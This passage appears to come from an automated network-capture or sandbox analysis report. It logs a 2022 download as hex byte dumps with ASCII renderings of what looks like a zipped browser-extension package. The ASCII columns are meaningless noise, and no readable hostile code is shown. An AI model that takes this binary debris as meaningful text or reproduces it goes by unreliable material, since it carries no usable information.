ac 9f 75 38 96 aa f3 be c9 35 41 2b 10 4d aa 69 93 ec 0b d2 43 30 42 32 71 84 01 81 ed 21 4c 5b 80 1c 9e b1 e6 04 14 c0 
4b 25 bf 81 f6 04 64 41 35 26 6d 14 5c cc 98 89 fc dd ee e8 1e 7e 09 84 38 8e ef 93 72 9f 38 76 49 76 c2 7f 96 75 ca ab 
1e c9 b7 df 32 f5 30 37 0e ad c7 02 fc 9e 3a a4 d3 ff a6 15 7a a1 d7 d9 4a 68 49 e4 5e 6e 65 fe 64 f7 52 15 79 8d a0 40 52 
03 4a 45 17 63 e9 86 bd d5 d0 16 04 1d 80 4a 77 1d 74 be 00 1a 4b 23 f9 e9 0b 78 64 db 8c 46 16 5b 16 6f 66 2d 0f fa 0b 
bc 4d c5 54 f0 f5 49 74 63 b9 e7 ca 65 bf 35 85 66 c2 
Data Ascii: [3,&k?#[F$I8UE 6E;=zZ0`y2Liv^Q/|M4E"hu85A+MiC0B2q!L[K%dA5&m\~8r8vIvu207:zJhI^nedRy@RJEcJ
wtK#xdF[of-MTItce5f

2022-01-13 21:05:25 UTC 905 IN Data Raw: 94 4c 65 0e f8 e1 47 75 20 bd dd 05 44 23 14 c5 e9 db 2a 2f 14 7e 66 00 d6 5d 61 86 c9 89 72 3d 19 9d 28 a2 
80 6e f3 08 9c 0a 98 5b 17 ec 1e cf 78 1d 8c fc 59 a3 e8 f9 3d 87 a3 ba ae e1 42 ca f2 43 26 2a 9d b7 ea 81 13 75 e7 71 
02 3d 65 d9 dd 14 f0 0b ae 55 13 a2 ab a0 1f fa cb e9 78 31 0f a6 4b bf df 0f e7 e1 78 e4 0f 97 bd f1 d5 55 30 9a cf 0e 87 
96 5d 5c 51 3f 8b 7e 38 5e 7e 58 f8 c3 70 fe e9 d0 83 0c ac 88 87 9e 3f ea 05 c3 e5 bb c5 7c 3e 1e d1 39 d0 7b 21 ea 61 
3c 9a 63 01 98 45 30 e3 6b 3a 74 22 6b c5 88 93 7e d8 5f 8e c6 f3 e5 7c 4a 96 21 d3 86 c4 7e 10 04 fd 77 7e ef fd 32 b8 
f2 c3 e1 72 10 06 c3 fe a1 23 d9 c1 7b b7 a3 c1 78 7a b5 ec 07 b3 de 34 9c 48 97 25 39 a7 e9 f6 76 19 f8 fd 60 7a e8 43 
26 9e ba 7d 4c a6 e3 ab c9 9c 84 87 36 1c dd 2e a6 c1 
Data Ascii: LeGu D#*/~f]ar=(n[xY=BC&*uq=eUx1KxU0]\Q?~8^~Xp?|>9{!a<cE0k:t"k~_|J!~w~2r#{xz4H%9v`zC&}L6.

2022-01-13 21:05:25 UTC 907 IN Data Raw: 97 2a fc 35 25 9b 6d 96 47 f3 e2 19 9f 42 fc a8 3b 7a 44 b2 f2 ea ac fc 6a ff 26 d6 c1 0a 8e e7 3a 96 a3 99 ba 
af b9 f6 e9 32 0f cf 11 97 e7 62 c9 86 5b b9 e2 ba 60 38 fb dd f6 f9 d7 1d 15 bf 73 e5 96 e1 59 d8 b8 03 bd 9e 6e 38 ae a9 
9f 6a ef c7 db 55 11 27 59 4e 36 f0 43 c8 c5 6c c3 d0 2d cd f1 4c 53 87 b0 66 da b2 18 5f 34 5a 27 cf d5 8a 24 a3 f0 c0 6e 
26 ec 89 e2 a4 41 1e 16 45 96 53 92 27 64 9d 26 62 f7 4b b2 5b 25 9b a2 21 96 b2 35 5f c3 5a 96 ab 6b 9e e1 f9 b6 a7 b6 
90 fb 95 cb 38 a6 e3 78 8e 6b 31 bf 59 be 65 ba 8e 24 43 d3 27 ba c8 5f f9 c2 d3 e0 68 c3 b5 1c db f3 2d db d5 5d 29 12 
ae e3 30 8b 72 f8 42 08 d8 9a e9 bb b6 86 73 31 34 43 33 3d c9 34 84 0e 5f 01 7b cc 36 e5 f9 3c 3d 93 d6 3c 4d 96 74 1a 
32 9f b2 cb a1 f6 6e 38 6a 0e 46 93 db 4e f7 e6 
Data Ascii: *5%mGB;zDj&:2b[`8sYn8jU'YN6Cl-LSf_4Z'$n&AES'd&bK[%!5_Zk8xk1Ye$C'_h-])0rBs14C3=4_{6<=<Mt2n8jFN

2022-01-13 21:05:25 UTC 908 IN Data Raw: 47 cb 5a 00 41 49 c5 21 54 77 1d fa 97 c3 c2 d8 33 5b b4 40 e7 f3 ea 78 73 b2 80 1b e5 53 8b a3 c7 64 93 c4 
95 c1 59 2c a4 60 76 e9 dc 7d e4 72 13 38 a8 59 68 da 4c 50 13 40 26 58 01 d2 d3 94 28 7b 6b 3e 65 3b 55 18 86 5c 4c 
66 51 fe 9b d0 e4 a0 95 b1 4d 06 10 9a 61 9b 40 5f 59 d3 f6 91 b7 3f 96 81 52 84 de c7 72 3d 54 23 c7 d2 3d b9 bf 48 b8 
f9 38 ba 0d 5d 20 0d cb 74 56 e2 f6 e3 36 66 cd a5 70 0f d0 a1 81 34 df 88 5b 23 f8 8f fb 7f 41 9f b1 8f 2a ec f7 6d d3 51 
ab 64 d9 28 51 1e fa 50 a3 ec 19 6d 4f ae 72 b5 c5 e3 cf b4 66 8c 41 a2 26 f8 86 69 a3 68 d9 be 26 af d7 e5 ab ec e8 86 
08 56 50 60 9d 18 d8 95 26 bb 75 b2 5b 85 39 5b 08 04 35 4d e2 82 6d 70 75 90 78 7b af a0 8d 86 6b 5a be 8f ae d0 b6 
51 65 e4 42 91 61 91 62 19 e5 94 87 15 da f0 dd a6 58 70 79 
Data Ascii: GZAI!Tw3[@xsSdY,`v}r8YhLP@&X({k>e;U\LfQMa@_Y?Rr=T#=H8] tV6fp4[#A*mQd(QPmOrfA&ih&VP`&u[9[
5Mmpux{kZQeBabXpy

2022-01-13 21:05:25 UTC 909 IN Data Raw: bc 4a 3d ed 44 a7 85 28 af 62 99 ff c1 0f 25 4d 23 ef 57 a1 20 e5 0d 62 9c 5b e4 ea 7a 07 5d 36 fb fb 41 2c 8f 
5e de b0 0c 10 0e b0 2c 13 c0 2a b7 39 fb 38 d9 8f 05 aa 66 b1 86 3a 21 b2 40 1e 53 1a 2e 4f 1f 8f 96 68 51 94 2b b3 ac 
61 3d 96 0e 13 0c 03 04 d5 90 48 c4 43 b8 5e b1 d9 f6 be 91 44 c7 cd e8 06 98 47 c9 88 35 df 93 64 aa d1 72 c9 f4 b8 10 
4a 87 ef fb 4e c9 58 2c cb d5 e5 bc 1e a5 f3 70 0f 70 df 5e cf 8a 15 64 c5 33 4b 10 f7 3c 50 29 47 73 d1 20 4a 79 df e7 48 
5b 96 6b d1 5c 2e 4a cb 78 a2 9d 4e fd fe de 6a aa b0 ff ef 2b a7 e0 cb 26 c3 58 cf 74 c0 ad 7c cb 97 ca 99 8a e8 79 20 ac 
20 c3 96 0e ba c3 b8 98 a5 ca 12 60 a8 38 3d fe 24 9c 2c c2 47 1a a3 10 9f a4 8f aa 99 f1 c0 3d d1 21 5b 3a 4a 2d ea ad 
8b 88 39 5d e1 f0 c8 43 48 a0 a3 c3 5a a6 e6 a3 
Data Ascii: J=D(b%M#W b[z]6A,^,*98f:!@S.OhQ+a=HC^DG5drJNX,pp^d3K<P)Gs JyH[k\.JxNj+&Xt|y  `8=$,G=![:J-9]CHZ

2022-01-13 21:05:25 UTC 910 IN Data Raw: 8b 0e 40 6e 15 e5 67 9d 0a e9 51 67 74 1b 4c a4 c4 50 bc 04 7e 24 cc db 42 b4 2c 82 30 b4 9a 7d 86 62 d2 0e 
14 0f fc f7 5a 40 51 25 77 29 86 fe d5 fd fd e6 78 28 09 a8 5e 92 dd 0b dc 36 65 f8 52 bc 5b 5c dd 3f 0c 02 a9 3c ab c6 7b 
d5 fd e3 ae 6a 0b aa 31 78 25 71 df bb 1d df 49 12 aa ff 3a f3 f2 f2 1f 50 4b 07 08 df 97 26 53 40 10 00 00 5d 35 00 00 50 
4b 03 04 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 64 61 
2f 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 
00 00 00 00 00 00 19 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 64 61 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e bd 5a fb 6f db 46 
12 fe 57 58 5f 7e 68 0b 5b e6 fb 11 34 57 30 12 65 
Data Ascii: @ngQgtLP~$B,0}bZ@Q%w)x(^6eR[\?<{j1x%qI:PK&S@]5PK*Q_locales/da/PKPK)Q_locales/da/messages
.jsonZoFWX_~h[4W0e

2022-01-13 21:05:25 UTC 912 IN Data Raw: 3d 9d 2a 4e 17 3b 63 ef b9 5f 9d 80 5b 14 71 96 1e f3 1e 56 ff 42 74 24 db b2 3c 2a e3 87 e2 b1 28 d9 86 95 7c 
01 53 ba 00 e6 13 34 f6 a2 8c 93 04 e9 c4 f2 4a 92 2d a9 d5 c6 0f 94 59 05 e8 42 09 a2 11 af 79 8e 15 5b f6 85 96 2a 45 
b4 29 2b 2d 8b 18 e4 06 ac 22 2e 50 f5 49 b6 5a c6 09 85 1d 8b 09 52 77 69 bc 86 82 2c 2d d6 51 1a d1 13 da 90 52 a3 
20 1d 80 5c 5e 4e ec 01 d0 b4 63 40 19 18 9b 3c f2 ec e6 e6 ec 94 9a 1f 81 4b e5 4a c4 8b 0f b5 8f 65 90 c0 26 1d a5 c7 
52 58 d1 a4 99 02 62 b2 82 6e 1c 89 56 3f 1b 77 47 18 bf ad 68 07 14 a1 64 ef bf d4 8a e1 1c 6e 43 c4 cb 08 dc 0c 2b 97 
bb 74 4d 56 83 d3 28 e0 75 05 19 d2 18 9e 2b 90 28 b2 94 1a c7 be b5 4d 41 33 42 78 ae 11 84 f0 0b 53 e8 54 39 19 b4 
ac 37 5c c4 ab b2 59 4c a4 f0 b1 2c 61 f1 22 a6 f8 ef eb 8b 
Data Ascii: =*N;c_[qVBt$<*(|S4J-YBy[*E)+-".PIZRwi,-QR \^Nc@<KJe&RXbnV?wGhdnC+tMV(u+(MA3BxST97\YL,a"

2022-01-13 21:05:25 UTC 913 IN Data Raw: af f3 db 03 63 01 39 24 c2 0a 38 04 5d 14 2a 99 02 40 4c 87 ca ef 9e 25 65 bd 27 17 77 34 24 0c 6a 44 05 46 
23 06 2a c2 29 e1 3c 65 dd d9 c1 3b 8e 01 9e d1 42 21 cf 14 eb 9a 17 ec 51 8f 4e a3 d5 b5 89 e3 51 df c4 a8 2f 0e b9 1c 
2b f7 d9 43 1b 6e be 70 89 57 08 fa e7 d0 0a d1 ee ff 92 55 34 e5 80 50 18 c0 61 47 75 1c 9a db f1 83 d8 25 92 3a fe e8 
78 c0 b5 65 5e dd 8d 38 0e 51 19 4b 43 14 31 ca 00 c7 c5 3b 88 1e bc 43 6d 8a 07 32 cd d6 08 02 dd 51 d1 d4 09 5c e7 
a9 53 43 24 52 7e bd e3 e3 0d d8 21 20 91 55 f9 de 44 07 33 84 ab 1a 9a ad 03 73 31 f2 38 62 2b fb 3e 91 20 7e be 46 19 
d0 80 2a d2 09 e5 c7 65 87 ad 8b 8e a2 1f 9b ca d9 f9 bf d1 57 21 c0 3b 30 d1 4a 8b fe f6 53 6d 0c c6 35 dd d4 d1 5b 41 
17 0c 80 97 c0 9a f9 1d 02 59 c2 5b 7f d1 64 0a 17 a7 c4 25 
Data Ascii: c9$8]*@L%e'w4$jDF#*)<e;B!QNQ/+CnpWU4PaGu%:xe^8QKC1;Cm2Q\SC$R~! UD3s18b+> ~F*eW
!;0JSm5[AY[d%

2022-01-13 21:05:25 UTC 914 IN Data Raw: b5 eb e9 8f 83 e0 1f 62 33 93 7d 59 db ae 44 06 ce 92 0f a8 de 50 30 46 ac c4 83 88 2f f5 da 55 fc 16 8c 2f 44 
42 20 b9 51 6a 57 d1 d2 21 64 2f 9e df 50 22 e9 10 b2 d7 41 ed 1a 2a 6a 22 b6 5d f1 93 dc 37 74 4c c1 37 c5 94 95 bd cf 
6a 57 32 1b dc f8 d3 ee b9 2c c9 64 af 16 64 8a 3e 0d 67 98 d0 07 93 1b 49 f9 48 be 22 db 53 71 ee 0f ce 40 5d e6 e1 c0 
47 d9 5c 0b 16 c8 2e 74 a5 e2 d7 a8 36 91 3a 49 be d1 90 48 d7 13 80 38 2a 8a af d5 24 d2 d3 70 7a 19 cc 85 c2 90 7c 
48 b9 27 5c 8d 85 18 59 6a c2 d0 f5 47 84 62 c2 09 24 ef 80 9f b5 80 a2 0a ee 92 dc 9c 37 eb 47 fe 6c 22 08 c8 be c3 7b 
16 b8 f4 45 f8 92 7c 7c d8 ac 9f 04 81 d0 9e 65 37 70 cd fa d9 40 76 04 d9 5d 74 23 71 3d bc 9c 5d 09 12 b2 af cc 9f 9e fe 
03 50 4b 07 08 2d 94 f4 29 4e 0f 00 00 38 30 00 00 50 
Data Ascii: b3}YDP0F/U/DB QjW!d/P"A*j"]7tL7jW2,dd>gIH"Sq@]G\.t6:IH8*$pz|H'\YjGb$7Gl"{E||e7p@v]t#q=]PK-)N80P

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 915 IN Data Raw: fb 98 fe fd eb 9e e9 ba fe b7 8f d5 2e cd db 7f 52 0d 99 b0 fc e1 eb c9 ba ae 77 d5 a7 8f 1f ab fd 6e 57 94 f5 f9 
8a db e7 fc a1 d8 7e 7c 78 35 e4 c7 34 af 90 29 1f cd 80 e7 ec d7 13 ad 4e cb 15 ab 21 3f 9b 6f d2 fc f1 eb 49 ab 98 26 d1 
1e 36 69 55 e1 65 89 f0 ce 4a b6 38 6b 56 04 c1 7c 75 56 ad 8b 27 bc fc 53 5d ec ce ab fd 72 99 3d 64 d8 5c 9f b1 c5 3c 
7d 20 55 dc 04 c8 01 c7 73 4c 1b 73 7a 96 a9 7b ae 21 05 d8 2f fb aa 49 9c e7 4d 46 11 fe b9 d8 6e a1 2a 2d d9 a7 ff d4 
99 4a 5b 1b bf e5 0c b3 71 86 62 b1 4a 67 1c ba e0 ff d1 52 4e 60 58 7a e0 e8 be 6f da 81 69 18 12 60 84 f3 79 c9 60 a1 
bc 11 08 6c d7 d3 91 88 c8 5e cf d7 03 cb 3e 16 f8 4c b9 a4 85 39 41 94 90 31 03 48 e8 01 a0 cd 71 4d 13 32 12 ec 7e 1b 
c2 4e f1 65 0c 43 4d c6 a7 bb cd be 4c 37 a7 c5 
Data Ascii: .RwnW~|x54)N!?oI&6iUeJ8kV|uV'S]r=d\<} UsLsz{!/IMFn*-J[qbJgRN`Xzoi`y l̀^>L9A1HqM2~NeCML7

2022-01-13 21:05:25 UTC 916 IN Data Raw: e3 a6 9f b9 c6 d4 ec fc ad 75 f9 bf 74 28 ef b4 20 2d a9 55 d8 eb fd 0e e3 3f 6c 2a ea b2 d8 63 c7 20 b9 45 2d 
9a 0b c7 b4 dc 96 d5 3a a0 55 00 30 d3 f7 d0 99 02 79 1c 43 0a b5 f0 f1 99 ed 6a 70 9c 4d 23 e1 39 0e 35 99 4e 00 5e 84 
ca 2b 93 9c 31 5b 97 da ea 8d d0 5d f7 1a 49 f0 1a cc 87 f6 d7 45 f9 07 4f 90 9b d9 4b 9e 58 07 cd e5 9c 71 cf e4 5a 45 e5 
07 1e c3 16 a9 0b c9 b5 fb 9b 30 11 81 ed d8 b6 ae 63 51 20 5e d8 82 07 d6 26 d1 cb e6 b0 22 2c 6b 1e 05 af e9 b3 ca e6 
dc e9 3f 36 8a a0 2a f0 c1 7a 1c 80 08 c8 85 a4 a7 07 fc 7e 8d 19 d2 34 e6 2c 20 dd 2f b2 42 54 5e 62 9e fc 4c 64 ab bd 
1d 60 34 09 ba 87 fb 9b 84 17 25 ad 99 d5 45 93 69 83 c1 a1 9a 98 f4 24 d5 11 b1 7c 62 2e eb 74 03 a3 3c 3f 9d 03 a4 f8 
96 a6 a3 1b 6d 9d 8a c8 05 00 f0 b5 d5 ed 76 40 c6 
Data Ascii: ut( -U?l*c E-:U0yCjpM#95N^+1[]IEOKXqZE0cQ ^&",k?6*z~4, /BT^bLd`4%Ei$|b.t<?mv@

2022-01-13 21:05:25 UTC 918 IN Data Raw: 69 78 13 4f be 1c 6b 50 01 96 a4 e1 32 4c 2e a3 9b d9 c5 74 32 19 24 f2 1a e4 cb 1c 59 c3 20 99 60 03 58 45 
34 a6 3d 1d 2b 51 f5 6d 92 92 5e dc 9b 25 83 c9 6c 32 92 b6 a1 22 9a 92 7c 3f 8a 7a 17 e1 e5 e7 59 74 1b c6 37 b3 7e 1c 
dd f4 8e 15 a9 ce d3 bb 15 f5 07 a3 db 59 2f 1a 5f 8e e2 a1 72 5b 8a 03 9c 6e 6d d7 51 d8 8b 46 c7 3a 54 74 aa 5b c7 70 
34 b8 1d 4e 24 f3 c8 4d 4b b7 8a 51 f4 f3 34 1e 45 92 69 54 fd 52 b7 96 c9 97 61 f4 8e bb e5 53 06 49 d5 6d 3c 1a 0d 46 
71 72 d5 c6 ee 6c 3c bd 20 1b e1 27 29 8c 15 e5 50 52 98 44 93 fb c1 e8 33 e2 a8 df 8f 46 14 8e f7 71 3f 96 ec ad a0 37 
9d aa ba 36 a8 fa e6 a3 53 c9 38 bc 8d 94 4b 51 9d f2 74 6a b9 27 9f cd 86 97 92 69 e4 72 26 eb 18 1c 4b a9 6e ab 24 b1 
e1 28 be 0b 2f bf cc 7a e1 24 9c 4d c7 e1 55 a4 48 27 e9 
Data Ascii: ixOkP2L.t2$Y `XE4=+Qm^%l2"|?zYt7~Y/_r[nmQF:Tt[p4N$MKQ4EiTRaSIm<Fqrl< ')PRD3Fq?76S8KQtj'i
r&Kn$(/z$MUH'

2022-01-13 21:05:25 UTC 919 IN Data Raw: 2a 9c 96 2c 53 97 db 07 26 72 43 27 b3 70 e4 58 17 0a 89 8a 88 78 71 59 b3 60 95 92 46 14 5e 6b 09 8c 08 6d 
79 16 90 0a 45 89 60 b1 3b f4 24 89 65 b1 42 2a 8d cf 57 23 9e d5 e3 cd 8a 80 c4 1d e5 16 b6 fb 8e ea a4 f1 36 ea 5d ae 
91 58 56 f5 57 1f c7 ad 59 11 04 ec cd 38 29 bc f2 c1 fa 87 48 77 be ae a9 14 ba 28 7c e1 4c a5 3c 26 18 ed 0a d6 f8 6a bd
5c 6d d7 37 4a 5f d3 ad 69 79 01 3a a8 9c 29 ac 0f c6 3a e9 58 d7 e0 3d 39 32 89 a5 d6 a9 d9 db 4a 3e 9e 88 8d 0f b1 b0 
29 67 05 a8 b9 12 aa 22 c7 6e 7b 49 4e 54 6e d9 9e a3 33 6e 04 bd c2 ba 65 5a bf fb c5 64 8f de 5e 5f fd b1 5e ce 6f 6e 
b1 56 20 8d 5d ac 3a 8f c6 93 ee 68 32 3b ed 0f 5e 3c 42 2a 52 a0 8d 4b 74 44 f5 71 e9 5a 06 9d 93 ab ab 37 ef d7 9d e7 
f0 94 47 e5 a0 57 53 f9 ad a1 39 3e ef 0e 1e fd 79 f3 
Data Ascii: *,S&rC'pXxqY`F^kmyE`;$eB*W#6]XVWY8)Hw(|L<&j\m7J_iy:):X=92J>)g"n{INTn3neZd^_^onV ]:h2;^<B
*RKtDqZ7GWS9>y

2022-01-13 21:05:25 UTC 920 IN Data Raw: a2 e3 e1 aa a4 f7 24 9b 04 62 63 20 90 a4 3f b8 a2 98 54 6b b1 aa e0 e7 d7 df a9 25 a7 e9 33 1b f8 be f9 07 d9
4f dc 6b c6 d2 92 58 d0 28 7f 3b 14 c6 da 8d ab 72 94 44 de e5 38 54 9b 8c 8e 78 81 04 7f d9 ca 66 ea 1f 1f 18 7e 52 a3 
ae 8f 7e de 6e 65 54 12 4b 84 65 a9 57 99 e3 fa 73 02 4f c3 f6 09 8c 73 65 2c 2b e7 62 98 04 2c b1 81 43 9c a6 21 7c d2 
60 d0 58 3c c4 51 3e fb dd 43 c6 f3 e5 24 42 83 22 86 6e b4 08 9d a8 06 2e 16 a3 be 01 76 c9 4d 18 62 b2 db 24 90 63 81 
21 fb 64 c2 f2 0a eb 12 4d 31 90 03 89 b1 2c c5 08 88 9b 54 a5 f6 3f b8 8c 54 52 9e be d1 2d 1d e6 7c 2c 95 70 b6 9a 8b 
33 e7 d0 c0 c4 58 79 45 14 b3 b5 64 c6 e7 7f 83 9f c4 a5 8b a4 b3 f4 15 ee 9a da 5d 54 0b 64 a9 f7 44 97 a4 33 e1 08 53 
f7 3a ec af f3 84 f7 38 ec e5 1c ed 7b 95 59 d6 64 a7 
Data Ascii: $bc ?Tk%3OkX(;rD8Txf~R~neTKeWsOse,+b,C!|`X<Q>C$B"n.vMb$c!dM1,T?TR-|,p3XyEd]TdD3S:8{Yd

2022-01-13 21:05:25 UTC 921 IN Data Raw: 09 f5 a7 19 ee 97 b5 f2 17 a6 ba 93 a3 8c d5 00 4b 6c 61 f9 31 d9 bd ba 38 df 54 63 6e 51 73 3c 6e b4 fe d9 43 
cc 54 3e 3f 6f 86 b9 b0 de 06 c0 ce 85 04 c0 08 11 1e 70 e3 9e 95 c4 c4 62 69 71 6c 9e 14 d5 b0 dc eb e7 16 d2 00 ae 08 
52 39 e5 ad 16 8c fe 6d a8 38 a4 5f d8 87 61 f7 94 2b 5a ee 35 7f 9a bb 84 95 58 27 ce f7 91 6b 4b 71 5f bd af 00 b9 81 d3 
3a 40 9a 00 6e ca 07 c1 2b 3b cd a4 71 36 48 83 f9 25 92 69 f2 ec a7 9b bd d4 17 58 b8 66 18 96 0d 9d 0f cb 0d 46 e0 22 
4e d2 52 a4 73 68 78 38 8a 0e e9 25 1e 2a 3b 65 75 0f e6 c1 93 03 5f 7b 83 ee 27 8c 5c 61 51 a3 aa 1d 53 ec 48 42 46 d2 
a5 6d 9d c3 49 80 01 76 8e a8 fa bb 4c 62 35 76 c9 08 de c7 c1 4e 5c b7 e0 e6 f4 1a 98 dd 0c 2f e4 d2 b8 64 60 da 6e 39 
4d 46 00 b1 dd 18 b2 f8 db 86 a5 be b6 17 90 2f f6 
Data Ascii: Kla18TcnQs<nCT>?opbiqlR9m8_a+Z5X'kKq_:@n+;q6H%iXfF"NRshx8%*;eu_{'\aQSHBFmIvLb5vN\/d`n9MF/

2022-01-13 21:05:25 UTC 923 IN Data Raw: 99 cd ce 8f 88 68 28 2e a7 34 86 bb ab b8 37 69 90 65 e7 a3 fe 45 f7 e8 d5 ac d7 9d 74 67 d3 71 f7 a4 64 cc 
89 bc ec 81 90 19 57 49 14 ef 5c 38 4c c4 af 3f 1d 9e 10 f7 c8 54 77 99 c5 93 e9 f9 ec a2 3f ee 3f eb 6f 94 2c 7b a4 cc 7b 
e8 28 b5 e1 f1 e4 65 77 94 d7 7c 0e 61 11 2a d3 c1 8b c1 f0 25 59 cb 15 ec c9 da 8b 7e af cc 7b 7b 26 ad c8 50 18 9f 0d 
87 93 e7 83 72 4c a4 ca bd e5 91 10 79 55 d2 60 c5 bc c1 67 b3 6e 7c 32 3b 06 87 0c da 3b 19 42 ac 19 13 f7 c5 dd 38 6a 
56 82 a4 c0 db f4 ca 41 9f 7a 2c ee f2 59 ba 6e d2 3f 2b 81 61 62 78 cc 10 50 b3 f0 6c 13 cd 06 e5 d1 24 72 4d e4 c3 bc 82
12 2d fe e2 21 eb b8 dc 3d 3a 2a cf 27 dd 67 a7 c4 76 b8 69 ae 3c 9d 93 e1 90 70 c2 65 a1 79 0a e7 e5 e8 18 76 45 b6 c3 
bc 30 b2 85 c8 70 48 22 18 53 64 c8 13 98 0e fa 00 
Data Ascii: h(.47ieEtgqdWI\8L?Tw??o,{{(ew|a*%Y~{{&PrLyU`gn|2;;B8jVAz,Yn?+abxPl$rM-!=:*'gvi<peyvE0pH"Sd

2022-01-13 21:05:25 UTC 924 IN Data Raw: 53 b0 bb f7 1f 8f 36 55 b5 2d df 9d 9e 96 bb ed 36 2f aa 93 b5 88 cf c9 32 bf 3f 5d 3e 47 f2 34 ce ca 07 56 9c ea 
9e a8 b2 8f 47 4a 15 17 6b 56 c1 7e 71 9b c6 d9 a7 8f 47 ad 63 3e 89 b2 4c e3 b2 c4 8f 05 fb d7 2e 29 d8 ea 6d b3 22 18 
66 eb b7 e5 26 7f c0 8f 7f a9 f2 ed 49 b9 bb bb 4b 96 09 36 37 60 6c 75 1b 2f b9 2b 11 02 e4 b5 e5 58 ba 89 39 1d 43 57 
1d 5b 23 09 e6 af 56 09 4f ec 38 55 b0 de 7b 38 29 df fd e9 53 94 06 59 fb a3 53 d0 9b 53 90 ac 52 7a 0a fb b1 ff 1f 86 c8 
f2 34 43 f5 2c d5 75 75 d3 d3 35 8d 56 7f 9c 2d 59 da 8c f6 4c db 51 51 7e a8 59 c7 55 3d c3 3c 1c 3d 3a f5 eb a1 ba 87 
81 aa 07 3c b2 6c 5d c7 50 02 90 5f 26 88 4d d8 0b 11 9c 68 76 ac 6c d3 5d 11 a7 c7 40 cc bb 92 55 ef b4 f7 aa f2 e5 22 
ce d6 f9 ae 7a 7a af 3d 7f 56 1e 92 6a a3 7c 19 
Data Ascii: S6U-6/2?]>G4VGJkV~qGc>L.)m"f&IK67`lu/+X9CW[#VO8U{8)SYSSRz4C,uu5V-YLQQ~YU=<=:<l]P_&Mhvl]@
U"zz=Vj|

2022-01-13 21:05:25 UTC 925 IN Data Raw: 8a 9e f9 39 b5 e2 a6 49 ab 51 15 f9 f1 53 e3 0f 1e 3d 17 42 c0 42 e9 83 7a 89 3b 9e 78 7b e4 1a ef 56 49 ce 93 
90 57 7f 73 00 a8 38 b1 ea 84 e3 d7 0b 14 5b e8 30 55 c3 84 64 01 20 eb fc 13 81 62 b1 d6 26 39 4e e7 d3 4b 05 9a a7 5e 
e7 b2 9e b6 5d 25 84 07 a4 01 2a 1e d2 00 2a c8 23 22 98 eb 2d cc 7e 0b 3c 16 2c fd 1d 2a 44 34 22 2b b6 fa be 76 62 a3 
65 d2 d0 a7 61 cb ae 6a a9 00 cf ee 13 c7 21 0e 86 b5 99 03 54 44 80 38 93 60 0f ba 67 91 5d 8c 97 58 6d dd fc cc aa 1d 
24 41 4d 05 d0 4b 10 61 96 86 08 03 54 41 09 26 55 94 79 de 8e 45 4e a1 27 07 86 bb ae 89 43 d6 c8 0e 5f a3 0d 7e 18 
b5 62 04 24 08 87 b6 8a 94 83 a2 85 58 f3 10 30 24 0d 71 38 07 16 20 45 1a 64 2f f9 a1 ae f9 3d 48 86 f3 bc 7d 14 59 d8 
80 cf a4 61 fa 09 67 fa c7 76 02 d7 e6 f7 24 c0 42 97 df 
Data Ascii: 9IQS=BBz;x{VIWs8[0Ud b&9NK^]%**#"-~<,*D4"+vbeaj!TD8`g]Xm$AMKaTA&UyEN'C_~b$X0$q8 Ed/=H}Ya
gv$B

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 926 IN Data Raw: b3 f0 2c 14 49 d6 79 a4 92 27 e0 d4 db 78 10 5d fb d3 ee cc 97 31 15 f1 32 1f 7d 18 8d af 89 ad ac 99 21 b6 57 
61 3f e8 46 7b 89 08 e8 f0 30 1b 8e c7 d1 c5 28 98 91 a8 ca de 8c 20 4e 6e 02 4a 56 92 87 70 c2 6e 76 be 18 00 90 91 bd 
d1 18 5c 33 23 f0 25 bb e0 6e 2d 11 29 a0 4d 3f 18 85 14 b1 64 97 f0 5f db 45 e1 30 c0 82 49 e1 49 ae 61 5a c3 a1 60 b3 
51 d0 8b 9a 55 93 f8 48 de 00 d9 33 7e 46 c8 9a 97 fd 5e 2f 98 44 fe d9 25 a9 1d d9 45 55 b7 9f f3 f1 98 ac 44 a6 0f bb 3d 
4c 82 e9 00 bb 22 db 91 bc 56 f2 8a 93 f1 98 30 98 44 1e 77 3b 98 8f 42 48 85 cb cb f0 3c 94 c4 44 f6 c4 40 e6 ab 1f ce 7a 
fe b4 cf 4f 6a 10 4e 87 be ac 14 65 8f 88 64 be 06 e1 28 10 f0 b2 40 65 8f 24 e4 23 bb 3d 91 39 12 3e 3a 48 5e d2 35 ca 
5c 8c 7c 2a bf e8 3b 04 32 cb f1 07 0a f1 f4 59 
Data Ascii: ,Iy'x]12}!Wa?F{0( NnJVpnv\3#%n-)M?d_E0IIaZ`QUH3~F^/D%EUD=L"V0Dw;BH<D@zOjNed(@e$#=9>:H^5\
|*;2Y

2022-01-13 21:05:25 UTC 928 IN Data Raw: 1a d2 69 cb 6a c8 af ee b2 24 ff e7 97 b3 4e 31 3d 44 5b a3 e0 2a fc 58 b2 5f 9a 14 05 f5 7d 6b 11 04 f3 ed f7 
d5 43 f1 2b 7e fc 53 5d ec 2f aa e6 fe 3e 5d 53 5d 8e 18 db dc 25 6b 52 c5 5d 80 cc 77 3c c7 b4 f1 4c cf 32 75 cf 35 a4 64 
1b c0 3c 4a ec b4 a8 b4 64 03 35 45 9e 64 ac 7a f7 5f 47 52 e9 68 e3 df 45 c2 6c 23 a1 b0 54 19 89 63 ff ff 3f ba c9 09 0c 
4b 0f 1c dd f7 4d 3b 30 0d 43 c2 88 41 92 af 81 ac 65 bb 3e b0 5d 4f 47 3d a2 8a 3d 5f 0f 2c fb 74 fd 78 7e 39 1e 88 c5 66 
80 a5 7a 00 fc 72 5c d3 c4 62 09 6d bf 4d e1 9f 78 10 c3 41 8b f9 f9 3e 6b ca 24 3b 2f ee ef 2b 56 bf 33 b4 1f f4 6f 1f 92 7c 
5b 34 f5 d3 0f 46 f7 91 80 4a fb 36 99 5d 85 e3 f8 1f d1 ec e9 e9 07 b3 ef 27 ed ab 56 d4 65 a2 ed 11 2d 04 f7 a9 a8 1f 58 f
9 ca e2 3f 77 2b 2b ad 6d 1d d5 d3 
